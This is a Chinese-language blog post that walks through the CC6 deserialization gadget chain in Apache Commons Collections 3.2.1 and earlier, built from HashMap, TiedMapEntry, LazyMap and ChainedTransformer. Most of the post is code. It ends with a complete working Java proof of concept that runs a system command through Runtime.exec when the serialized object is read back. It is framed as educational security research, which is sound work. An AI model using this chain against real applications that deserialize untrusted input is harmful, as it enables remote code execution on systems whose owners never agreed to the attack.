使用限制

不限制jdk版本,CC库小于等于3.2.1均可利用

CC利用链分析

前情回顾

CC1

根据之前对CC链1的分析,我们知道可以通过ChainedTransformer配合InvokerTransformer实现命令执行。详细的解析可以看我之前的一篇文章:https://hadagaga.github.io/2025/05/15/JavaCC%E9%93%BE1/
下面一小段示例代码:

1
2
3
4
5
6
7
8
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
ct.transform("1");

高版本JDK的修改

自JDK8u_71后,AnnotationInvocationHandler类被重写,其中的readObject方法被修改,没有了对setvalue方法的调用。下图是JDK17.0.4中sun.reflect.annotation.AnnotationInvocationHandler类中的readObject方法,可以看到其中的setvalue已经被修改为setmember。

回顾一下CC1的利用链

1
2
3
4
5
->AnnotationInvocationHandler.readObject()//入口类
->AbstractInputCheckedMapDecorator.setValue()
->TransformedMap.checkSetValue()
->ChainedTransformer.transform()
->InvokerTransformer.transform()//执行类

可以看到,我们的利用链由于setValue的消失,导致利用链断裂。所以我们就要找一个新的利用链。

利用链

1.LazyMap

我们查找ChainedTransformer类中的transform方法的用法,找到了在LazyMap类中的get方法中存在一个对transform方法的调用。

LazyMap中的关键方法

1
2
3
4
5
6
7
8
9
10
11
12
13
protected final Transformer factory;
public static Map decorate(Map map, Factory factory) {
return new LazyMap(map, factory);
}
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

我们可以通过decorate方法创建一个对象,然后通过LazyMap的get方法调用ChainedTransformer类中的transform方法。

示例代码如下:

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), ct);
lazymap.get("1");
}

那么接下来我们就需要去寻找一个调用了get方法的方法。

2.TiedMapEntry

ysoserial的作者找到了TiedMapEntry这条链,TiedMapEntry关键代码如下

1
2
3
4
5
6
7
8
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
public Object getValue() {
return map.get(key);
}

在这个类中的hashCode方法中,调用了getValue方法,而getValue方法又调用了get方法。所以我们就可以利用TiedMapEntry类中的hashCode方法去调用LazyMap中的get方法。

示例代码如下:

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), ct);
TiedMapEntry entry = new TiedMapEntry(lazymap, "key");
entry.hashCode();

接下来再寻找一个调用了hashcode方法的方法。

3.HashMap

还记得之前研究过的URLDNS链吗?在HashMap的hash方法中有如下的代码

这里调用了hashCode方法,而hash方法又被readObject方法调用

所以到现在我们的入口类就可以确定下来了。

调用示例代码如下

1
2
3
4
5
6
7
8
9
10
11
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), ct);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "key");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "value");

利用链调整

1.HashMap中的put导致提前命令执行

由于HashMap的put方法会调用hash方法,导致在序列化前就进行了命令执行,所以这里我们修改一下代码。

这里我们在新建LazyMap对象时,随意传入一个Transformer对象,等put完成后再通过反射修改为ChainedTransformer对象。

1
2
3
4
5
Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "3");

再通过反射修改factory值

1
2
3
4
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap, ct);

最后进行序列化和反序列化。

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public static void main(String[] args) throws Exception {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "3");


Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap, ct);

serialize(hashMap);
unserialize("D://CC6.txt");
}

public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}

public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("D://CC6.txt"));
oos.writeObject(object);
}

运行代码,但是发现没有进行命令执行。

2.LazyMap中的get判断不通过

我们先梳理一下我们的利用链:通过HashMap的put方法调用hash方法,hash方法调用hashCode方法,进而执行tiedMapEntry中的hashCode方法,之后就会执行LazyMap中的get方法。

debug一下,一直定位到LazyMap的get方法,发现这里if判断不通过,导致了不调用transform方法。

但在此之前我们并没有传入key为2的数据,为什么会这样?问题还是出现在get方法中。

在序列化前的操作中,如果map没有包含这个key,那么就会给map传入这个键值对。

这就会导致在反序列化是由于已经存在了这个key,因此就不会执行transform方法,使得无法命令执行。

解决方法也很简单,put完之后删除这个key就行了。在put后添加如下代码

1
lazymap.remove("2");

再次执行就可以成功命令执行了。

完整利用链

1
2
3
4
5
6
->HashMap.readObject()//入口类
->HashMap.hash()
->TiedMapEntry.hashCode()
->TiedMapEntry.getValue()
->LazyMap.get()
->ChainedTransformer.transform()//执行类

完整POC

完整代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package org.example;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "3");

lazymap.remove("2");

Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap, ct);

serialize(hashMap);
unserialize("D://CC6.txt");
}

public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}

public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("D://CC6.txt"));
oos.writeObject(object);
}
}